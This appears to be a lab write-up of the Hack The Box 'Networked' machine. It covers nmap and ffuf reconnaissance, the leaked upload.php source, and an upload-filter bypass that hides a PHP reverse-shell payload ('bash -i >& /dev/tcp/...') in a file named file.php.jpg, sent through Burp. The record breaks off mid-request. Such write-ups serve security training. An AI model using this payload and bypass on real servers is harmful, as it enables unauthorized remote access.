HTB Networked done
Networked
OS:
Linux
Technology:
IP Address:
10.10.10.146
Open ports:
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
443/tcp closed https
Users and pass:
Nmap
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Networked]
└─$ sudo nmap -A -sV --script=default -p- -oA 10.10.10.146_nmap 10.10.10.146 ; cat 10.10.10.146_nmap.nmap | grep -E "^[0-9]{1,}/(tcp|udp)"
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 23:52 UTC
Nmap scan report for 10.10.10.146
Host is up (0.035s latency).
Not shown: 65379 filtered tcp ports (no-response), 153 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Ffuz: http://10.10.10.146
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Networked]
└─$ ffuf -u http://10.10.10.146/FUZZ -c -w /usr/share/wordlists/dirb/big.txt -ac -recursion -recursion-depth=2 -o IP_ffuz -of all -e .php,.html,.txt,.bac,.backup
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.146/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Extensions : .php .html .txt .bac .backup
:: Output file : IP_ffuz.{json,ejson,html,md,csv,ecsv}
:: File format : all
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
backup [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 37ms]
[INFO] Adding a new job to the queue: http://10.10.10.146/backup/FUZZ
index.php [Status: 200, Size: 229, Words: 33, Lines: 9, Duration: 35ms]
lib.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 37ms]
photos.php [Status: 200, Size: 1302, Words: 68, Lines: 23, Duration: 40ms]
upload.php [Status: 200, Size: 169, Words: 11, Lines: 6, Duration: 37ms]
uploads [Status: 301, Size: 236, Words: 14, Lines: 8, Duration: 48ms]
[INFO] Adding a new job to the queue: http://10.10.10.146/uploads/FUZZ
[INFO] Starting queued job on target: http://10.10.10.146/backup/FUZZ
[INFO] Starting queued job on target: http://10.10.10.146/uploads/FUZZ
index.html [Status: 200, Size: 2, Words: 1, Lines: 2, Duration: 35ms]
:: Progress: [122814/122814] :: Job [3/3] :: 1058 req/sec :: Duration: [0:02:00] :: Errors: 0 ::
Open website: http://10.10.10.146
http://10.10.10.146/
---
Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse
Read source code: http://10.10.10.146
view-source:http://10.10.10.146/
---
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
Unpack file: backup.tar
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Networked]
└─$ wget http://10.10.10.146/backup/backup.tar
--2024-08-20 09:16:26-- http://10.10.10.146/backup/backup.tar
Connecting to 10.10.10.146:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’
backup.tar 100%[==============================================>] 10.00K --.-KB/s in 0s
2024-08-20 09:16:26 (889 MB/s) - ‘backup.tar’ saved [10240/10240]
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Networked]
└─$ mkdir backup
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Networked]
└─$ tar -xf backup.tar -C backup
┌──(kali㉿kali)-[~/…/oscp/writeups/HTB/HTB_Networked]
└─$ cd backup
┌──(kali㉿kali)-[~/…/writeups/HTB/HTB_Networked/backup]
└─$ ls
index.php lib.php photos.php upload.php
┌──(kali㉿kali)-[~/…/writeups/HTB/HTB_Networked/backup]
Read file: upload.php
I see that I have to upload small file less that < 60000
---
┌──(kali㉿kali)-[~/…/writeups/HTB/HTB_Networked/backup]
└─$ cat upload.php
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>
Upload file
Sent request to remote host - Burp
I added to file *.jpg payload:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.25/80 0>&1'");
?>
and change file name to: file.php.jpg
---
Request - Burp
___
POST /upload.php HTTP/1.1
Host: 10.10.10.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------226325157714368244483425860449
Content-Length: 1939
Origin: http://10.10.10.146
Connection: keep-alive
Referer: http://10.10.10.146/upload.php
Upgrade-Insecure-Requests: 1
-----------------------------226325157714368244483425860449
Content-Disposition: form-data; name="myFile"; filename="file3.php.jpg"
Content-Type: image/jpeg
ÿØÿà JFIF H H ÿÛ C ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÛ CÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÀ ê9"